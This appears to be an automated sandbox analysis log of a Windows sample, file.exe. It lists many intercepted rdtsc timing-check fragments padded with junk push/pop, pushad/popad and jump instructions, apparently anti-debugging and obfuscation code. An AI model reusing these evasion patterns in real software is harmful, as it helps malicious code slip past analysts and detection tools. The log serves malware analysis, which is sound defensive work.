Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEDCE1 second address: EEDCE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEDCE5 second address: EEDCE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEDCE9 second address: EEDCEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEE2C5 second address: EEE2C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEE2C9 second address: EEE314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F078CD5F946h 0x0000000c jmp 00007F078CD5F93Eh 0x00000011 jmp 00007F078CD5F93Eh 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e pop edx 0x0000001f push esi 0x00000020 jl 00007F078CD5F936h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEE6E4 second address: EEE6E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEE8B7 second address: EEE8BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEE8BD second address: EEE8C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEEA2B second address: EEEA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jmp 00007F078CD5F947h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5A96 second address: EF5AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2AFh 0x00000007 jmp 00007F078CBAC2B3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E832D4 second address: E832DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E832DE second address: E832E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E832E4 second address: E832EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4782 second address: EF4799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F078CBAC2A6h 0x0000000a popad 0x0000000b jmp 00007F078CBAC2ACh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4799 second address: EF47B8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F078CD5F93Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F078CD5F93Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF47B8 second address: EF47D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F078CBAC2A6h 0x0000000a jmp 00007F078CBAC2B3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF47D5 second address: EF47D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF47D9 second address: EF47FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F078CBAC2A6h 0x00000010 jmp 00007F078CBAC2B2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4929 second address: EF492D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF492D second address: EF4931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4931 second address: EF4957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F078CD5F94Ah 0x0000000c jmp 00007F078CD5F942h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4957 second address: EF496E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F078CBAC2ACh 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF496E second address: EF4988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F946h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4D9D second address: EF4DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F078CBAC2ACh 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edx 0x00000010 jmp 00007F078CBAC2B6h 0x00000015 pushad 0x00000016 jmp 00007F078CBAC2B2h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5359 second address: EF5383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push edi 0x00000008 jng 00007F078CD5F936h 0x0000000e pop edi 0x0000000f push ebx 0x00000010 jmp 00007F078CD5F93Dh 0x00000015 pushad 0x00000016 popad 0x00000017 pop ebx 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c push edi 0x0000001d pop edi 0x0000001e pop ecx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5383 second address: EF539C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CBAC2AEh 0x00000009 jng 00007F078CBAC2A6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF539C second address: EF53B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CD5F943h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF53B3 second address: EF53CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE37A second address: EFE38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C7EE second address: E7C7F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCE3A second address: EFCE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCE3F second address: EFCE5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCE5A second address: EFCE60 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCFEB second address: EFCFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD172 second address: EFD180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007F078CD5F936h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD180 second address: EFD18C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD18C second address: EFD190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD34F second address: EFD38E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F078CBAC2C1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F078CBAC2B4h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD38E second address: EFD3A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F93Ch 0x00000007 jp 00007F078CD5F936h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD3A4 second address: EFD3BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F078CBAC2B5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD525 second address: EFD529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD529 second address: EFD531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD6D6 second address: EFD6F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CD5F949h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFDC76 second address: EFDC7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4A2C second address: EA4A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F078CD5F936h 0x0000000d jp 00007F078CD5F936h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4A3F second address: EA4A43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7ACAB second address: E7ACAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03F49 second address: F03F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F078CBAC2A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03F55 second address: F03F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F078CD5F93Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03F68 second address: F03F8B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F078CBAC2B2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03F8B second address: F03F92 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02F0B second address: F02F15 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9BC1 second address: EB9BC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9F10 second address: EB9F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9F15 second address: EB9F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA08E second address: EBA093 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA093 second address: EBA0C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 73E30600h 0x0000000e mov edi, esi 0x00000010 push E23A3ED8h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F078CD5F946h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA52A second address: EBA577 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jnl 00007F078CBAC2A6h 0x00000015 popad 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a popad 0x0000001b nop 0x0000001c mov ch, B1h 0x0000001e push 00000004h 0x00000020 or ecx, dword ptr [ebp+122D2B22h] 0x00000026 push eax 0x00000027 jc 00007F078CBAC2C8h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F078CBAC2B6h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAC72 second address: EBAC76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAC76 second address: EBAC7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAC7A second address: EBAC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAC80 second address: EBAC97 instructions: 0x00000000 rdtsc 0x00000002 js 00007F078CBAC2A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d je 00007F078CBAC2B4h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAC97 second address: EBAC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAC9B second address: EBACC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F078CBAC2B2h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 ja 00007F078CBAC2A6h 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBACC3 second address: EBACDD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007F078CD5F936h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F078CD5F938h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBACDD second address: EBACF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F078CBAC2B7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBADAC second address: EBADB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBADB0 second address: EBAE25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F078CBAC2BDh 0x0000000c jmp 00007F078CBAC2B7h 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 mov di, BB33h 0x00000019 lea eax, dword ptr [ebp+1246F87Ah] 0x0000001f mov edi, dword ptr [ebp+122D2B96h] 0x00000025 push eax 0x00000026 jp 00007F078CBAC2B4h 0x0000002c mov dword ptr [esp], eax 0x0000002f and dx, 972Ch 0x00000034 lea eax, dword ptr [ebp+1246F836h] 0x0000003a pushad 0x0000003b or edi, dword ptr [ebp+122D1D77h] 0x00000041 adc edx, 56DC6568h 0x00000047 popad 0x00000048 nop 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push ebx 0x0000004d pop ebx 0x0000004e jns 00007F078CBAC2A6h 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAE25 second address: EBAE37 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F078CD5F936h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAE37 second address: EA4A2C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F078CBAC2A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F078CBAC2A8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push edi 0x00000027 jmp 00007F078CBAC2AFh 0x0000002c pop edi 0x0000002d call dword ptr [ebp+122D2695h] 0x00000033 jmp 00007F078CBAC2B1h 0x00000038 pushad 0x00000039 jmp 00007F078CBAC2B1h 0x0000003e jmp 00007F078CBAC2ACh 0x00000043 push esi 0x00000044 jnc 00007F078CBAC2A6h 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F032D1 second address: F032D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F032D7 second address: F032DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F032DD second address: F032E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F032E7 second address: F032F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F078CBAC2A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0356F second address: F0357B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F036B4 second address: F036B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F036B8 second address: F036BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F037FB second address: F0381F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F078CBAC2B9h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F069FB second address: F069FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F069FF second address: F06A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F078CBAC2A6h 0x0000000d jnc 00007F078CBAC2A6h 0x00000013 jmp 00007F078CBAC2ACh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06A1F second address: F06A25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09942 second address: F09946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09946 second address: F09955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F078CD5F936h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09955 second address: F0995B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09226 second address: F0922A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0936A second address: F0936E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B907 second address: F0B90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B90C second address: F0B912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B912 second address: F0B918 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12E61 second address: F12E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CBAC2B1h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F116B7 second address: F116DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F078CD5F93Bh 0x0000000d pop edi 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 jmp 00007F078CD5F93Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F116DD second address: F116E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1187D second address: F1188A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007F078CD5F936h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
